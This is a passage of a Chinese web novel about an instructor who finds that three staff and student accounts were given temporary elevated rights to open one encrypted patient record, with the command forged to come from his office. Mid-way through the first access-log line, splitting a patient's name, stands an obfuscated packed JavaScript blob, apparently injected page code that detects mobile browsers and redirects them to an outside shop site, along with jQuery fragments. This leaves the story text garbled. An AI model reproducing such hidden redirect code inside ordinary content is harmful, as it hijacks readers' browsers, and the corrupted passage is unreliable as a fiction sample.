办公室门就被敲响了。敲门声急促,带着一种不祥的节奏。
尹柏萧放下手里的咖啡,皱眉:“进。”
门开了,进来的是巴颂老头,此刻脸色苍白,手里拿着一个平板电脑,手指都在发抖。
“尹教官,出……出事了。”
“什么事?”尹柏萧站起来。
“又有人……黑进了医院的主服务器。”巴颂把平板递过来,屏幕上显示着一串复杂的代码和日志记录,“凌晨三点到五点之间,有三个不同的IP地址,从三个不同的物理位置,同时尝试访问加密病历区的核心数据库。而且……都成功了。”
尹柏萧接过平板,快速浏览。日志显示得清清楚楚:
【03:14:22-IP:10.32.147.66(妇科医生工作站-2)-用户:钟妍妍-访问:加密病历区-三级权限-陈婉
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16937044|192889||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
清病历
【03:47:11-IP:10.32.149.12(儿科医生工作站-5)-用户:关文晶-访问:加密病历区-三级权限-陈婉清病历
【04:22:08-IP:192.168.1.105(医学院学生宿舍网络)-用户:徐燕风(学生账号)-访问:加密病历区-三级权限-陈婉清病历
三个人,三个地点,三个时间点,访问同一个加密病历。
而且都成功了——这意味着他们要么有高级权限,要么有黑客手段。
“系统被入侵了?”尹柏萧问。
“不……不是入侵。”巴颂的声音更抖了,“是……是权限被临时提升了。有人用管理员账户,在凌晨两点五十九分,给这三个账号同时授予了临时三级权限,有效期到今早六点。然后……他们分别在权限有效期内访问了数据库。”
尹柏萧盯着屏幕:“谁授权的?”
“账户名是一串乱码,X9F7#Q2T,我们查不到归属。但操作日志显示,授权指令是从医院内部网络发出的,物理位置是……是您的办公室。”
尹柏萧的瞳孔收缩。
他的办公室?
“不可能。”他斩钉截铁,“我昨晚十点就离开了,今早六点才回来。办公室门锁着,监控呢?”
巴颂调出监控记录。尹柏萧办公室外的走廊监控显示:昨晚十点到今早六点,没有人进出他的办公室。
但办公室内部没有监控——这是规定,保护隐私。
“查网络记录。”尹柏萧说,“那个授权指令的具体路径。”
几分钟后,结果出来了:指令确实是从他办公室的固定IP地址发出的,时间凌晨两点五十九分整。但技术部分析发现,指令包有异常的数据包头——像是被篡改过,伪装成从他的地址发出。
“有人伪造我的IP。”尹柏萧得出结论,“而且这个人对医院网络非常熟悉,知道如何绕过安全协议,知道如何临时提权,还知道……如何栽赃。”
他放下平板,看向窗外。天刚亮,晨雾笼罩着医院,一切都显得朦胧而不真实。
三个人同时访问一份加密病历。
钟妍妍、关文晶、徐燕风。
他们各自代表什么?